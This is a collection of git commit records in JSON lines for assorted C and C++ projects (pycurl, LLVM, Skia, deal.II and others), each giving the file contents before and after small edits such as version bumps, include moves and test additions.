{"commit":"ed075c4b1a51a4191e6060f003eecbd1368ab841","old_file":"tests\/c\/winsockdup.c","new_file":"tests\/c\/winsockdup.c","old_contents":"","new_contents":"#include <winsock2.h>\n#include <assert.h>\n\n#define sassert assert\n\nvoid dump() {\n\tint err;\n\tLPTSTR buf;\n\terr = WSAGetLastError();\n\tFormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, err, 0, &buf, 0, NULL);\n\tprintf(\"%d %s\\n\", err, buf);\n\tLocalFree(buf);\n}\n\nint main() {\n\tSOCKET s1, s2, s1d, s2d;\n\tint val, rv, size;\n\tWSADATA wsadata;\n\tWSAPROTOCOL_INFO pi;\n\n\trv = WSAStartup(MAKEWORD(2, 2), &wsadata);\n\tassert(!rv);\n\n\ts1 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\tassert(s1 > 0);\n\tval = 1;\n\trv = setsockopt(s1, SOL_SOCKET, SO_KEEPALIVE, &val, sizeof(val));\n\tdump();\n\tsassert(!rv);\n\n\ts2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\tassert(s2 > 0);\n\tval = 0;\n\trv = setsockopt(s2, SOL_SOCKET, SO_KEEPALIVE, &val, sizeof(val));\n\tsassert(!rv);\n\n\tsize = sizeof(val);\n\trv = getsockopt(s1, SOL_SOCKET, SO_KEEPALIVE, &val, &size);\n\tassert(!rv);\n\tprintf(\"%d\\n\", val);\n\tsassert(val == 1);\n\n\trv = getsockopt(s2, SOL_SOCKET, SO_KEEPALIVE, &val, &size);\n\tassert(!rv);\n\tsassert(val == 0);\n\n\trv = WSADuplicateSocket(s1, GetCurrentProcessId(), &pi);\n\tassert(!rv);\n\ts1d = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, &pi, 0, WSA_FLAG_OVERLAPPED);\n\tassert(s1d > 0);\n\t\n\trv = getsockopt(s1d, SOL_SOCKET, SO_KEEPALIVE, &val, &size);\n\tassert(!rv);\n\tprintf(\"%d\\n\", val);\n\tsassert(val == 1);\n\n\trv = WSADuplicateSocket(s2, GetCurrentProcessId(), &pi);\n\tassert(!rv);\n\ts2d = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, &pi, 0, WSA_FLAG_OVERLAPPED);\n\tassert(s2d > 0);\n\t\n\trv = getsockopt(s2d, SOL_SOCKET, SO_KEEPALIVE, &val, &size);\n\tassert(!rv);\n\tprintf(\"%d\\n\", val);\n\tsassert(val == 0);\n}\n","subject":"Test program for duplicating sockets in windows","message":"Test program for duplicating sockets in windows\n","lang":"C","license":"lgpl-2.1","repos":"pycurl\/pycurl,pycurl\/pycurl,pycurl\/pycurl"}
{"commit":"9f4f6bdacbc60fd318fb56c587467cf18b1375fb","old_file":"demos\/FPL_Console\/fpl_console.c","new_file":"demos\/FPL_Console\/fpl_console.c","old_contents":"\/*\n-------------------------------------------------------------------------------\nName:\n\tFPL-Demo | Console\nDescription:\n\tA Hello-World Console Application testing Console Output\/Input\nRequirements:\n\tNo requirements\nAuthor:\n\tTorsten Spaete\nChangelog:\n\t## 2018-04-23:\n\t- Initial creation of this description block\n\t- Changed from C++ to C99\n\t- Forced Visual-Studio-Project to compile in C always\n\t- Added read char input\n-------------------------------------------------------------------------------\n*\/\n\n#define FPL_IMPLEMENTATION\n#define FPL_NO_WINDOW\n#define FPL_NO_VIDEO\n#define FPL_NO_AUDIO\n#include <final_platform_layer.h>\n\nint main(int argc, char *args[]) {\n\tif (fplPlatformInit(fplInitFlags_All, NULL)) {\n\t\tfplConsoleOut(\"Hello World\\n\");\n\t\tfplConsoleFormatOut(\"%s %s %d\\n\", \"Hello\", \"World\", 42);\n\t\tfplConsoleError(\"Error: Hello World!\\n\");\n\t\tfplConsoleFormatError(\"Error: %s %s %d!\\n\", \"Hello\", \"World\", 42);\n\t\tfplConsoleOut(\"Press enter a key: \");\n\t\tint key = fplConsoleWaitForCharInput();\n\t\tfplConsoleFormatOut(\"You pressed '%c'\\n\", key);\n\t\tfplPlatformRelease();\n\t}\n\treturn 0;\n}\n","new_contents":"\/*\n-------------------------------------------------------------------------------\nName:\n\tFPL-Demo | Console\nDescription:\n\tA Hello-World Console Application testing Console Output\/Input\nRequirements:\n\tNo requirements\nAuthor:\n\tTorsten Spaete\nChangelog:\n\t## 2018-04-23:\n\t- Initial creation of this description block\n\t- Changed from C++ to C99\n\t- Forced Visual-Studio-Project to compile in C always\n\t- Added read char input\n-------------------------------------------------------------------------------\n*\/\n\n#define FPL_IMPLEMENTATION\n#define FPL_NO_WINDOW\n#define FPL_NO_VIDEO\n#define FPL_NO_AUDIO\n#include <final_platform_layer.h>\n\nint main(int argc, char *args[]) {\n\tif (fplPlatformInit(fplInitFlags_All, fpl_null)) {\n\t\tfplConsoleOut(\"Hello World\\n\");\n\t\tfplConsoleFormatOut(\"%s %s %d\\n\", \"Hello\", \"World\", 42);\n\t\tfplConsoleError(\"Error: Hello World!\\n\");\n\t\tfplConsoleFormatError(\"Error: %s %s %d!\\n\", \"Hello\", \"World\", 42);\n\t\tfplConsoleOut(\"Press enter a key: \");\n\t\tint key = fplConsoleWaitForCharInput();\n\t\tfplConsoleFormatOut(\"You pressed '%c'\\n\", key);\n\t\tfplPlatformRelease();\n\t}\n\treturn 0;\n}\n","subject":"Use fpl_null instead of NULL in console demo","message":"Use fpl_null instead of NULL in console demo\n","lang":"C","license":"mit","repos":"f1nalspace\/final_game_tech,f1nalspace\/final_game_tech,f1nalspace\/final_game_tech"}
{"commit":"d9ae84898ef7e2e97aa4eecd8a9df8e383d15c67","old_file":"test\/CFrontend\/2005-12-04-AttributeUsed.c","new_file":"test\/CFrontend\/2005-12-04-AttributeUsed.c","old_contents":"\/\/ RUN: %llvmgcc %s -S -o - | llvm-as | llvm-dis | grep llvm.used | grep foo | grep X\n\nint X __attribute__((used));\nint Y;\n\nvoid foo() __attribute__((used));\n\nvoid foo() {}\n","new_contents":"\/\/ RUN: %llvmgcc %s -S -emit-llvm -o - | llvm-as | llvm-dis | grep llvm.used | grep foo | grep X\n\nint X __attribute__((used));\nint Y;\n\nvoid foo() __attribute__((used));\n\nvoid foo() {}\n","subject":"Use the -emit-llvm switch to generate LLVM assembly that can be parsed by the test case.","message":"Use the -emit-llvm switch to generate LLVM assembly that can be parsed\nby the test case.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@30654 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap"}
{"commit":"e3490baa8f45f1894326a5925159ebf123b20c51","old_file":"source\/builtin\/optimization\/fibonacci.h","new_file":"source\/builtin\/optimization\/fibonacci.h","old_contents":"#ifndef FIBONACCI_H\n#define FIBONACCI_H\n\n#include \"..\/function.h\"\n\nnamespace BuiltIn {\nnamespace Optimization {\n\n\/\/ Class for finding minimum of function with Fibonacci method\nclass Fibonacci : public Function\n{\npublic:\n\tFibonacci();\n\n\tRpn::Operand calculate(FunctionCalculator *calculator, QList<Rpn::Operand> actualArguments);\n\tQList<Rpn::Argument> requiredArguments();\n\tRpn::OperandType returnValueType();\n\nprivate:\n\tstruct Interval {\n\t\tNumber leftBorder;\n\t\tNumber rightBorder;\n\t};\n\n\tInterval m_sourceInterval;\n\tFunctionCalculator* m_calculator;\n\tQString m_functionName;\n\tNumber m_resultIntervalLength;\n\tNumber m_differenceConstant;\n\tNumber m_iterationsNumber;\n\n\tNumber findMinimum();\n\tvoid initializeIterationsNumber();\n\tNumber fibonacciNumber(int position);\n\tNumber calculateFunction(Number argument);\n};\n\n} \/\/ namespace\n} \/\/ namespace\n\n#endif \/\/ FIBONACCI_H\n","new_contents":"#ifndef FIBONACCI_H\n#define FIBONACCI_H\n\n#include \"..\/function.h\"\n\nnamespace BuiltIn {\nnamespace Optimization {\n\n\/\/ Class for finding minimum of function with Fibonacci method\nclass Fibonacci : public Function\n{\npublic:\n\tFibonacci();\n\n\tRpn::Operand calculate(FunctionCalculator *calculator, QList<Rpn::Operand> actualArguments);\n\tQList<Rpn::Argument> requiredArguments();\n\tRpn::OperandType returnValueType();\n\nprivate:\n\tstruct Interval {\n\t\tNumber leftBorder;\n\t\tNumber rightBorder;\n\t};\n\n\tInterval m_sourceInterval;\n\tFunctionCalculator* m_calculator;\n\tQString m_functionName;\n\tNumber m_resultIntervalLength;\n\tNumber m_differenceConstant;\n\tint m_iterationsNumber;\n\n\tNumber findMinimum();\n\tvoid initializeIterationsNumber();\n\tNumber fibonacciNumber(int position);\n\tNumber calculateFunction(Number argument);\n};\n\n} \/\/ namespace\n} \/\/ namespace\n\n#endif \/\/ FIBONACCI_H\n","subject":"Fix for impicit conversions from double to int and vise versa.","message":"Fix for impicit conversions from double to int and vise versa.\n","lang":"C","license":"bsd-3-clause","repos":"ming13\/aequatio,ming13\/aequatio"}
{"commit":"d1a6dd6ad96b5eb291976d3d0c949496af470762","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 60\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 61\n#endif\n","subject":"Update Skia milestone to 61","message":"Update Skia milestone to 61\n\nBUG=skia:\n\nChange-Id: I9602ddb0f5a08481365e7c74f1fc93836f7e5080\nReviewed-on: https:\/\/skia-review.googlesource.com\/17920\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia,rubenvb\/skia,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,rubenvb\/skia,google\/skia,google\/skia,rubenvb\/skia,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,google\/skia,rubenvb\/skia,google\/skia"}
{"commit":"3dfdf82baff2eea1b02fcba51ea71fbedb0987a4","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    7\n#define CLIENT_VERSION_BUILD       5\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       1\n#define CLIENT_VERSION_MINOR       0\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  false\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Update client version number and set false for prerelease","message":"Update client version number and set false for prerelease\n","lang":"C","license":"mit","repos":"Megalinuxcoin\/megalinuxcoin,Megalinuxcoin\/megalinuxcoin,Megalinuxcoin\/megalinuxcoin,Megalinuxcoin\/megalinuxcoin,Megalinuxcoin\/megalinuxcoin"}
{"commit":"392cf8bd4bd139f67b326d6a488f4b8b7bdc7100","old_file":"jansson_config.h","new_file":"jansson_config.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2010-2012 Petri Lehtinen <petri@digip.org>\n *\n * Jansson is free software; you can redistribute it and\/or modify\n * it under the terms of the MIT license. See LICENSE for details.\n *\n *\n * This file specifies a part of the site-specific configuration for\n * Jansson, namely those things that affect the public API in\n * jansson.h.\n *\n * The configure script copies this file to jansson_config.h and\n * replaces @var@ substitutions by values that fit your system. If you\n * cannot run the configure script, you can do the value substitution\n * by hand.\n *\/\n\n#ifndef JANSSON_CONFIG_H\n#define JANSSON_CONFIG_H\n\n\/* If your compiler supports the inline keyword in C, JSON_INLINE is\n   defined to `inline', otherwise empty. In C++, the inline is always\n   supported. *\/\n#ifdef __cplusplus\n#define JSON_INLINE inline\n#else\n#define JSON_INLINE inline\n#endif\n\n\/* If your compiler supports the `long long` type and the strtoll()\n   library function, JSON_INTEGER_IS_LONG_LONG is defined to 1,\n   otherwise to 0. *\/\n#define JSON_INTEGER_IS_LONG_LONG 1\n\n\/* If locale.h and localeconv() are available, define to 1,\n   otherwise to 0. *\/\n#define JSON_HAVE_LOCALECONV 1\n\n#endif\n","subject":"Add a file that was required for building jansson from CMake.","message":"Add a file that was required for building jansson from CMake.\n","lang":"C","license":"bsd-3-clause","repos":"dazeus\/dazeus-core,dazeus\/dazeus-core,dazeus\/dazeus-core,dazeus\/dazeus-core"}
{"commit":"bbf5d9516d6fac481b97fa8fc08ead890236edd4","old_file":"Interfaces\/WorldLogicInterface.h","new_file":"Interfaces\/WorldLogicInterface.h","old_contents":"\/**\n *  For conditions of distribution and use, see copyright notice in license.txt\n *\n *  @file   WorldLogicInterface.h\n *  @brief  \n *\/\n\n#include \"ServiceInterface.h\"\n\n#ifndef incl_Interfaces_WorldLogicInterface_h\n#define incl_Interfaces_WorldLogicInterface_h\n\n#include \"ForwardDefines.h\"\n\n#include <QObject>\n\nclass QString;\n\nnamespace Foundation\n{\n    class WorldLogicInterface : public QObject, public ServiceInterface\n    {\n        Q_OBJECT\n\n    public:\n        \/\/\/ Default constructor.\n        WorldLogicInterface() {}\n\n        \/\/\/ Destructor.\n        virtual ~WorldLogicInterface() {}\n\n        \/\/\/ Returns user's avatar entity.\n        virtual Scene::EntityPtr GetUserAvatarEntity() const = 0;\n\n        \/\/\/ Returns currently active camera entity.\n        virtual Scene::EntityPtr GetCameraEntity() const = 0;\n\n        \/\/\/ Returns entity with certain entity component in it or null if not found.\n        \/\/\/ @param entity_id Entity ID.\n        \/\/\/ @param component Type name of the component.\n        virtual Scene::EntityPtr GetEntityWithComponent(uint entity_id, const QString &component) const = 0;\n\n        \/\/\/ Hack function for getting EC_AvatarAppearance info to UiModule\n        virtual const QString &GetAvatarAppearanceProperty(const QString &name) const = 0;\n\n    signals:\n        \/\/\/ Emitted just before we start to delete world (scene).\n        void AboutToDeleteWorld();\n    };\n}\n\n#endif\n","new_contents":"\/**\n *  For conditions of distribution and use, see copyright notice in license.txt\n *\n *  @file   WorldLogicInterface.h\n *  @brief  \n *\/\n\n#ifndef incl_Interfaces_WorldLogicInterface_h\n#define incl_Interfaces_WorldLogicInterface_h\n\n#include \"ServiceInterface.h\"\n#include \"ForwardDefines.h\"\n\n#include <QObject>\n\nclass QString;\n\nnamespace Foundation\n{\n    class WorldLogicInterface : public QObject, public ServiceInterface\n    {\n        Q_OBJECT\n\n    public:\n        \/\/\/ Default constructor.\n        WorldLogicInterface() {}\n\n        \/\/\/ Destructor.\n        virtual ~WorldLogicInterface() {}\n\n        \/\/\/ Returns user's avatar entity.\n        virtual Scene::EntityPtr GetUserAvatarEntity() const = 0;\n\n        \/\/\/ Returns currently active camera entity.\n        virtual Scene::EntityPtr GetCameraEntity() const = 0;\n\n        \/\/\/ Returns entity with certain entity component in it or null if not found.\n        \/\/\/ @param entity_id Entity ID.\n        \/\/\/ @param component Type name of the component.\n        virtual Scene::EntityPtr GetEntityWithComponent(uint entity_id, const QString &component) const = 0;\n\n        \/\/\/ Hack function for getting EC_AvatarAppearance info to UiModule\n        virtual const QString &GetAvatarAppearanceProperty(const QString &name) const = 0;\n\n    signals:\n        \/\/\/ Emitted just before we start to delete world (scene).\n        void AboutToDeleteWorld();\n    };\n}\n\n#endif\n","subject":"Move include within include guards.","message":"Move include within include guards.\n","lang":"C","license":"apache-2.0","repos":"jesterKing\/naali,realXtend\/tundra,AlphaStaxLLC\/tundra,jesterKing\/naali,realXtend\/tundra,jesterKing\/naali,BogusCurry\/tundra,pharos3d\/tundra,jesterKing\/naali,realXtend\/tundra,realXtend\/tundra,AlphaStaxLLC\/tundra,pharos3d\/tundra,BogusCurry\/tundra,antont\/tundra,pharos3d\/tundra,pharos3d\/tundra,realXtend\/tundra,AlphaStaxLLC\/tundra,AlphaStaxLLC\/tundra,AlphaStaxLLC\/tundra,antont\/tundra,antont\/tundra,BogusCurry\/tundra,pharos3d\/tundra,jesterKing\/naali,pharos3d\/tundra,BogusCurry\/tundra,jesterKing\/naali,BogusCurry\/tundra,BogusCurry\/tundra,antont\/tundra,AlphaStaxLLC\/tundra,antont\/tundra,realXtend\/tundra,antont\/tundra,jesterKing\/naali,antont\/tundra"}
{"commit":"f5180d98f775f5e56ce3ef250240e24995655472","old_file":"lilthumb.h","new_file":"lilthumb.h","old_contents":"#ifndef lilthumb\n#define lilthumb\n\n#include <ctime>\nnamespace lilthumb{\nstd::string timeString()\n{\n  time_t rawtime;\n  struct tm * timeinfo;\n  char buffer[80];\n\n  time (&rawtime);\n  timeinfo = localtime(&rawtime);\n\n  strftime(buffer,80,\"%d-%m-%Y %I:%M:%S\",timeinfo);\n  std::string str(buffer);\n\n  return str;\n}\n}\n\n#define logger(message) std::cerr << lilthumb::timeString() << \" | \"<< message << std::endl;\n#endif\n","new_contents":"#ifndef lilthumb\n#define lilthumb\n\n#include <ctime>\nnamespace lilthumb{\n\nstd::string timeString()\n{\n  time_t rawtime;\n  struct tm * timeinfo;\n  char buffer[80];\n\n  time (&rawtime);\n  timeinfo = localtime(&rawtime);\n\n  strftime(buffer,80,\"%d-%m-%Y %I:%M:%S\",timeinfo);\n  std::string str(buffer);\n\n  return str;\n}\n}\n\n#define logger(stream,message) stream << lilthumb::timeString() << \" | \"<< message << std::endl;\n#endif\n","subject":"Change macro to let user choose output stream","message":"Change macro to let user choose output stream\n","lang":"C","license":"apache-2.0","repos":"jeromevelut\/lilthumb"}
{"commit":"0d7b37d846af64a22f99f8181d32c0b8ff632e8f","old_file":"system\/check.c","new_file":"system\/check.c","old_contents":"#include <proto\/dos.h>\n#include <proto\/exec.h>\n#include <proto\/graphics.h>\n#include <exec\/execbase.h>\n#include <graphics\/gfxbase.h>\n\n#include \"system\/check.h\"\n\nbool SystemCheck() {\n  bool kickv40 = SysBase->LibNode.lib_Version >= 40;\n  bool chipaga = GfxBase->ChipRevBits0 & (GFXF_AA_ALICE|GFXF_AA_LISA);\n  bool cpu68040 = SysBase->AttnFlags & AFF_68040;\n  bool fpu68882 = SysBase->AttnFlags & AFF_68882;\n\n  Printf(\"System check:\\n\");\n  Printf(\" - Kickstart v40 : %s\\n\", (ULONG)(kickv40 ? \"yes\" : \"no\"));\n  Printf(\" - ChipSet AGA : %s\\n\", (ULONG)(chipaga ? \"yes\" : \"no\"));\n  Printf(\" - CPU 68040 : %s\\n\", (ULONG)(cpu68040 ? \"yes\" : \"no\"));\n  Printf(\" - FPU 68882 : %s\\n\", (ULONG)(fpu68882 ? \"yes\" : \"no\"));\n\n  return (kickv40 && cpu68040 && fpu68882 && chipaga);\n}\n","new_contents":"#include <proto\/dos.h>\n#include <proto\/exec.h>\n#include <proto\/graphics.h>\n#include <exec\/execbase.h>\n#include <graphics\/gfxbase.h>\n\n#include \"system\/check.h\"\n\nbool SystemCheck() {\n  bool kickv40 = SysBase->LibNode.lib_Version >= 40;\n  bool chipaga = GfxBase->ChipRevBits0 & (GFXF_AA_ALICE|GFXF_AA_LISA);\n  bool cpu68040 = SysBase->AttnFlags & AFF_68040;\n  bool fpu68882 = SysBase->AttnFlags & AFF_68882;\n\n  Printf(\"System check:\\r\\n\");\n  Printf(\" - Kickstart v40 : %s\\r\\n\", (ULONG)(kickv40 ? \"yes\" : \"no\"));\n  Printf(\" - ChipSet AGA : %s\\r\\n\", (ULONG)(chipaga ? \"yes\" : \"no\"));\n  Printf(\" - CPU 68040 : %s\\r\\n\", (ULONG)(cpu68040 ? \"yes\" : \"no\"));\n  Printf(\" - FPU 68882 : %s\\r\\n\", (ULONG)(fpu68882 ? \"yes\" : \"no\"));\n\n  return (kickv40 && cpu68040 && fpu68882 && chipaga);\n}\n","subject":"Break lines properly on serial console.","message":"Break lines properly on serial console.\n","lang":"C","license":"artistic-2.0","repos":"cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene"}
{"commit":"398f341668286bd3d82256aa22a5547dc32e0f50","old_file":"tests\/Test.h","new_file":"tests\/Test.h","old_contents":"#pragma once\r\n\r\n#include \"Jitter.h\"\r\n\r\n#define TEST_VERIFY(a) if(!(a)) { int* p = 0; (*p) = 0; }\r\n\r\nclass CTest\r\n{\r\npublic:\r\n\tvirtual\t\t\t~CTest() {}\r\n\r\n\tvirtual void\tRun()\t\t\t\t\t\t= 0;\r\n\tvirtual void\tCompile(Jitter::CJitter&)\t= 0;\r\n\r\n#ifdef _MSC_VER\r\n\r\n\t\/\/Overload operator new and delete to make sure we get proper 16-byte aligned structures\r\n\t\/\/C++11 has support for aligned struct\/classes, but VC++2013 doesn't support them\r\n\r\n\tvoid* operator new(size_t allocSize)\r\n\t{\r\n\t\treturn _aligned_malloc(allocSize, 16);\r\n\t}\r\n\r\n\tvoid operator delete(void* ptr)\r\n\t{\r\n\t\t_aligned_free(ptr);\r\n\t}\r\n\r\n#endif\r\n};\r\n","new_contents":"#pragma once\r\n\r\n#include \"AlignedAlloc.h\"\r\n#include \"Jitter.h\"\r\n\r\n#define TEST_VERIFY(a) if(!(a)) { int* p = 0; (*p) = 0; }\r\n\r\nclass CTest\r\n{\r\npublic:\r\n\tvirtual\t\t\t~CTest() {}\r\n\r\n\tvirtual void\tRun()\t\t\t\t\t\t= 0;\r\n\tvirtual void\tCompile(Jitter::CJitter&)\t= 0;\r\n\r\n\tvoid* operator new(size_t allocSize)\r\n\t{\r\n\t\treturn framework_aligned_alloc(allocSize, 0x10);\r\n\t}\r\n\r\n\tvoid operator delete(void* ptr)\r\n\t{\r\n\t\tframework_aligned_free(ptr);\r\n\t}\r\n};\r\n","subject":"Use aligned alloc for test allocation.","message":"Use aligned alloc for test allocation.\n","lang":"C","license":"bsd-2-clause","repos":"Alloyed\/Play--CodeGen,Alloyed\/Play--CodeGen,Alloyed\/Play--CodeGen,Alloyed\/Play--CodeGen"}
{"commit":"014409aedf3da620da63c502ff039ee746cdfe6a","old_file":"include\/deal.II\/base\/tensor_accessors.h","new_file":"include\/deal.II\/base\/tensor_accessors.h","old_contents":"","new_contents":"\/\/ ---------------------------------------------------------------------\n\/\/\n\/\/ Copyright (C) 1998 - 2015 by the deal.II authors\n\/\/\n\/\/ This file is part of the deal.II library.\n\/\/\n\/\/ The deal.II library is free software; you can use it, redistribute\n\/\/ it, and\/or modify it under the terms of the GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/ The full text of the license can be found in the file LICENSE at\n\/\/ the top level of the deal.II distribution.\n\/\/\n\/\/ ---------------------------------------------------------------------\n\n#ifndef dealii__tensor_accessors_h\n#define dealii__tensor_accessors_h\n\n#include <deal.II\/base\/config.h>\n#include <deal.II\/base\/template_constraints.h>\n#include <deal.II\/base\/table_indices.h>\n\n\nDEAL_II_NAMESPACE_OPEN\n\n\/**\n * This namespace is a collection of algorithms working on generic\n * tensorial objects (of arbitrary rank).\n *\n * The rationale to implement such functionality in a generic fashion in a\n * separate namespace is\n *  - to easy code reusability and therefore avoid code duplication.\n *  - to have a well-defined interface that allows to exchange the low\n *    level implementation.\n *\n *\n * A tensorial object has the notion of a rank and allows a rank-times\n * recursive application of the index operator, e.g., if <code>t<\/code> is\n * a tensorial object of rank 4, the following access is valid:\n * @code\n *   t[1][2][1][4]\n * @endcode\n *\n * deal.II has its own implementation for tensorial objects such as\n * dealii::Tensor<rank, dim, Number> and\n * dealii::SymmetricTensor<rank, dim, Number>\n *\n * The methods and algorithms implemented in this namespace, however, are\n * fully generic. More precisely, it can operate on nested c-style arrays,\n * or on class types <code>T<\/code> with a minimal interface that provides\n * a local typedef <code>value_type<\/code> and an index operator\n * <code>operator[](unsigned int)<\/code> that returns a (const or\n * non-const) reference of <code>value_type<\/code>:\n * @code\n *   template<...>\n *   class T\n *   {\n *     typedef ... value_type;\n *     value_type & operator[](unsigned int);\n *     const value_type & operator[](unsigned int) const;\n *   };\n * @endcode\n *\n * This namespace provides primitves for access, reordering and contraction\n * of such objects.\n *\n * @ingroup geomprimitives\n *\/\nnamespace TensorAccessors\n{\n\n\n} \/* namespace TensorAccessors *\/\n\nDEAL_II_NAMESPACE_CLOSE\n\n#endif \/* dealii__tensor_accessors_h *\/\n","subject":"Add a new namespace TensorAccessors","message":"Add a new namespace TensorAccessors\n\nThis namespace will contain a collection of algorithms working on generic\ntensorial objects (of arbitrary rank).\n\nThe rationale to implement such functionality in a generic fashion in a\nseparate namespace is\n - to easy code reusability and therefore avoid code duplication.\n - to have a well-defined interface that allows to exchange the low\n   level implementation.\n","lang":"C","license":"lgpl-2.1","repos":"shakirbsm\/dealii,ESeNonFossiIo\/dealii,YongYang86\/dealii,danshapero\/dealii,Arezou-gh\/dealii,pesser\/dealii,andreamola\/dealii,naliboff\/dealii,andreamola\/dealii,naliboff\/dealii,maieneuro\/dealii,YongYang86\/dealii,spco\/dealii,danshapero\/dealii,angelrca\/dealii,sairajat\/dealii,JaeryunYim\/dealii,danshapero\/dealii,gpitton\/dealii,johntfoster\/dealii,pesser\/dealii,ibkim11\/dealii,gpitton\/dealii,naliboff\/dealii,EGP-CIG-REU\/dealii,andreamola\/dealii,gpitton\/dealii,ESeNonFossiIo\/dealii,adamkosik\/dealii,nicolacavallini\/dealii,sairajat\/dealii,kalj\/dealii,ibkim11\/dealii,ESeNonFossiIo\/dealii,gpitton\/dealii,spco\/dealii,naliboff\/dealii,adamkosik\/dealii,sairajat\/dealii,maieneuro\/dealii,EGP-CIG-REU\/dealii,angelrca\/dealii,Arezou-gh\/dealii,spco\/dealii,adamkosik\/dealii,sairajat\/dealii,gpitton\/dealii,YongYang86\/dealii,JaeryunYim\/dealii,pesser\/dealii,JaeryunYim\/dealii,spco\/dealii,spco\/dealii,EGP-CIG-REU\/dealii,ibkim11\/dealii,Arezou-gh\/dealii,andreamola\/dealii,angelrca\/dealii,JaeryunYim\/dealii,Arezou-gh\/dealii,jperryhouts\/dealii,adamkosik\/dealii,Arezou-gh\/dealii,naliboff\/dealii,maieneuro\/dealii,angelrca\/dealii,maieneuro\/dealii,YongYang86\/dealii,jperryhouts\/dealii,jperryhouts\/dealii,sairajat\/dealii,YongYang86\/dealii,shakirbsm\/dealii,ESeNonFossiIo\/dealii,kalj\/dealii,nicolacavallini\/dealii,danshapero\/dealii,YongYang86\/dealii,gpitton\/dealii,johntfoster\/dealii,kalj\/dealii,andreamola\/dealii,JaeryunYim\/dealii,pesser\/dealii,ib